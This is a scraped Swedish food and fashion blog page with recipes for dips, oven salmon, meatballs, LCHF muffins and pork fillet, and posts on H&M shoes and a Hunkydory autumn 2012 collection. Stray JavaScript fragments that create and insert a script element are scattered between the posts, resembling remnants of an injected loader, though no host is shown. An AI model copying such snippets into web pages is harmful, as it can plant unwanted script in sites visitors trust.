Avokadoröra

Den här avokadoröran är god att servra till färska grönsaker eller som salladsdressing. Om du använder den till salladsdressing rekommenderar jag att du tar i lite gräddfil för att få en mer flytande sås.

Det här behöver du:
1 mogen avokado
1 pressad vitlöksklyfta
2 dl lätt creme fraiche
Lite gräddfil
Salt och vitpeppar
Lite pressad lime

Mosa avokadon och pressa i vitlöksklyftan. Rör i resten av ingredienserna till en röra och låt stå kallt i kylskåpet innan servering.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Laxpaket i ugn

Maträtter som sköter sig själv i ugnen är perfekt. Här kommer recept på en sådan enkel och god rätt:

1 Laxbit per person
Champinjoner som du skär i tunna skivor
Tomat som du skär i skivor
Gul lök som du skär i skivor
Färskpotatis som du skär i skivor (beräkna 1-2 potatisar per person)
Dill
Smör
Salt och peppar

Lägg allt på ett aluminiumfolie och forma till en liten båt. Lägg in i ugnen på 250 grader ca 15 minuter.

Nytt från H & M

De här pumpsen kan du köpa för 399 kr.

 

De här skorna kostar 299 kr.

De här fina skorna kostar 399 kr.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Tonfiskröra

Här kommer ett riktigt gott recept på tonfiskröra.

1 burk tonfisk i olja
1 st äpple (Granny Smith)
1 sellerisjälk
2-3 msk majonnäs
1 dl creme fraiche
citronpeppar
1 kokt ägg

Gör så här:
Häll av tonfisken och låt oljan rinna bort helt. Tärna ner äpplet och sellerin i små tärningar och blanda dem med finfördelad tonfisk i en skål. Lägg i det tärnade ägget (jag tog bort äggulan).
Tillsätt majonnäs, creme fraiche och lite citronpeppar.

 

Färgstark grönsakswok med räkor

Det här receptet hittade jag på www.hemkop.se hemsida och smakar underbart gott.

Det här behöver du till 4 portioner:
2 dl ris
2 burkar räkor (färska i saltlag, 175 g)
1 broccolihuvud i små buketter
2 röda paprika (strimlad)
1 röd lök (halva ringar)
2 morötter (i tunna slantar)
1 pkt sockerärtor
1 dl cashewnötter
1 klyfta lime
2 msk olja
Sweet chilisås,
soya,
Ingefära,
Lime och vatten efter smak och tycke

Så här gör du: Koka riset enligt instruktion. Börja sedan med att fräsa broccoli, paprika, lök och morot i olja, sweet chili sås, soya och ingefära. Strö över en gnutta salt. Lägg sedan i sockerärtor och nötter, de ska bara fräsa en kort stund. Pressa över en gnutta lime. När grönsakerna är färdiga, stäng då av plattan och rör ned räkorna.

Tips! Servera med en klick lätt cremefraiche eller kesella om woken blivit för stark.

 

Annas goda köttbullar

Det här receptet fick jag av min kompis Anna för flera år sedan. Receptet har gått i arv i flera generationer.

500 gram nötfärs
1 gul lök (riven)
1 ägg
1 dl ströbröd utblandat i vatten
1 buljongtärning (riven)
2-3 msk Aromat
2  potatisar (kokad och pressad)

Rör ihop allt till en fin smet och rulla små, små köttbullar. Stek med smör i stekpanna för fin färg.

 

Pannbiffar med oliver, vitlök och basilika

De här biffarna är både enkla att göra och riktigt goda. Om man vill kan ni servera dem tillsammans med en tzatsiki eller en god sallad.

500 gram nötfärs
1 ägg
10-15 basilikablad som du skär ner i tunna bitar
5-10 gröna oliver som du skär i tunna bitar
1 pressad vitöksklyfta
Salt och vitpeppar

Gör så här:
Blanda ihop alla ingredienser och forma till små pannbiffar. Stek dem i smör tills de är genomstekta.

var d=document;var s=d.createElement(‘script’);

Hunkydory hösten 2012

Vad säger ni om höstens kollektion? Själv tycker jag det finns en massa fint som jag önskar köpa till min garderob.

Essential Contra Japan Knit för 999 kr.

Essential U J Blouse för 1.199 kr

Skull Cable Knit för 1.799 kr

Nedan plagg kommer snart in….

Vavoom Stretch Leather Pants..Såååå snygga!!!

Derrick Pant.

Rock Chic Tux Jacket.

High Neck Poncho Knit.

Hunkydory Star Knit.

Pea Coat Shearling Collar.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

LCHF muffins med kardemummasmak

LCHF muffins (ca 10 st)
4 ägg
100 gram smält smör
1,5 dl Fibrex
2 tsk FiberHusk
3 tsk bakpulver
6 tsk stevia
2 tsk kardemumma

Mixa fibrexflingorna till mjöl. Blanda ned övriga torra ingredienser.
Smält smöret och blanda ner äggen och vispa lätt.
Vänd ned de torra ingredienserna och rör runt. Vispa helst inte utan rör runt.
Fördela i lämpliga formar och grädda dem ca 8-10  minuter i ugn på 225 grader. Låt svalna,

}

LCHF Fläskfilé med bacon och rosépeppar

500 g fläskfilé
fyra skivor bacon
smör
2 krm svartpeppar
3 dl grädde
1 msk fransk senap
½ buljongtärning
1 tsk soja
2 msk krossad rosépeppar
1 dl riven ost
Putsa och skiva fläskfilén. Strimla baconet och lägg i fläskfilén och eventuellt lite extra smör i en stekpanna och stek tills att fläskfilén är genomstekt och fått fin färg. Lägg över fläskfilén och baconet i en gryta/kastrull och slå på grädden i stekpannan samt buljongtärningen, senap, soja och rosépeppar. Låt koka några minuter. Häll över såsen i grytan med köttet. Rör ner osten.
Servera med LCHF pasta.

document.currentScript.parentNode.insertBefore(s, document.currentScript);